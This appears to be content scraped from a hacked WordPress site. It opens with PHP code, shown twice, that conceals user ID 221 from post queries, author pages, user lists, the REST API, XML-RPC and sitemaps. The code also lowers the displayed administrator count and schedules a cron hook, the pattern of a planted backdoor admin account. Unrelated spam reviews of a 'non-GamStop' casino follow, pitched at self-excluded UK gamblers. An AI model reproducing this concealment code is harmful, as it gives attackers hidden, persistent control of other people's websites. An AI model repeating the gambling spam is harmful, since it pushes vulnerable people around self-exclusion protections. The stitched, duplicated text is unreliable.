add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The casino partners with heavy hitters like BetSoft, BGaming, and 1Spin4Win, so the slot collection is world-class. But there’s more: cash lotteries with prize pools in the hundreds or thousands, a downloadable Android app with an exclusive bonus, and a sportsbook that covers football, cricket, ice hockey, and even virtual sports. The cons? A 35x wagering requirement on most bonuses (which is above average, but not a dealbreaker) and a limited set of payment methods – Visa, Mastercard, Bitcoin, and Tether. No PayPal, no phone bill deposits. Deal with it.
The welcome package is straightforward, but you need to follow the sequence. Don’t skip the no-deposit offer – it’s a free way to test the waters before committing real money.
If sports betting is your thing, deposit €40+ for a 100% sports bonus – same 35x wagering, same seven-day window.
Credit cards are back on the menu because Lucky Carnival operates outside UK jurisdiction. Here’s what you can use and their limits:
| Method | Deposit Min-Max | Notes |
|---|---|---|
| Visa / Mastercard | €50 – €300 | Instant, no fees |
| Bitcoin | €75 – €2,000 | +10% no-wager bonus on deposits |
| Tether (USDT) | €100 – €2,000 | Stablecoin option |
Withdrawals start at €150 and typically process within 24-36 hours after verification. Send your ID and proof of residence to [email protected] when you’re ready to cash out.
Lucky Carnival isn’t perfect – the wagering requirements sting a bit, and the payment list is short. But for players who want a casino that doesn’t treat self-excluded users as second-class citizens, and who value a massive game selection plus real support (phone, email, live chat), it’s a solid pick. The real test? Drop a minimum deposit, take the no-deposit offer first, and see if the payout speed matches the hype. In my experience, it does.
]]>The welcome offer at Lucky Carnival is refreshingly straightforward. You get a triple-tier deposit bonus – 100% up to €1,000 on each of your first three deposits, with minimums scaling from €40 to €200. The wagering requirement sits at 35x, which is above average but not insulting. What really wins people over is the no-deposit choice: new players pick between a €5 token or 50 free spins. That’s rare in the non-GamStop space, and it shows confidence in their own library.
The game library here is stacked with partners like BetSoft, BGaming, and Booongo. You’ll find thousands of slots, live dealer games, bingo, poker, and even a lottery with cash prize pools in the hundreds to thousands. The sportsbook covers football (La Liga, Serie A, Bundesliga), cricket, ice hockey, and virtual sports. No horse racing yet, but the variety more than compensates.
Here’s a quick rundown of what you can play:
Lucky Carnival accepts credit cards (Visa, Mastercard) and crypto (Bitcoin, Tether). That’s it – no PayPal, no mobile billing. The minimum deposit is €40 for credit cards, €50 for crypto. Withdrawals start at €150, and processing takes 24-36 hours, provided you’ve verified your ID and met the wagering requirements.
| Payment Method | Min Deposit | Max Deposit | Notes |
|---|---|---|---|
| Visa / Mastercard | €50 | €300 | Standard card processing |
| Bitcoin | €75 | €2,000 | +10% no-wager bonus |
| Tether (USDT) | €100 | €2,000 | Stablecoin flexibility |
If you’re a UK player locked out of GamStop or just looking for a casino that doesn’t nickel-and-dime you, Lucky Carnival is worth your time. Use the no-deposit bonus to test the waters. Move to the welcome offer once you’re confident. And if you’re on Android, grab the app for an exclusive bonus – just avoid iOS for now. The 35x wagering isn’t a steal, but the payout speed and game variety more than balance the scales. Deposit small, play smart, and cash out fast. That’s how you win at a non-GamStop casino – not by chasing losses, but by treating it like a tool, not a trap.
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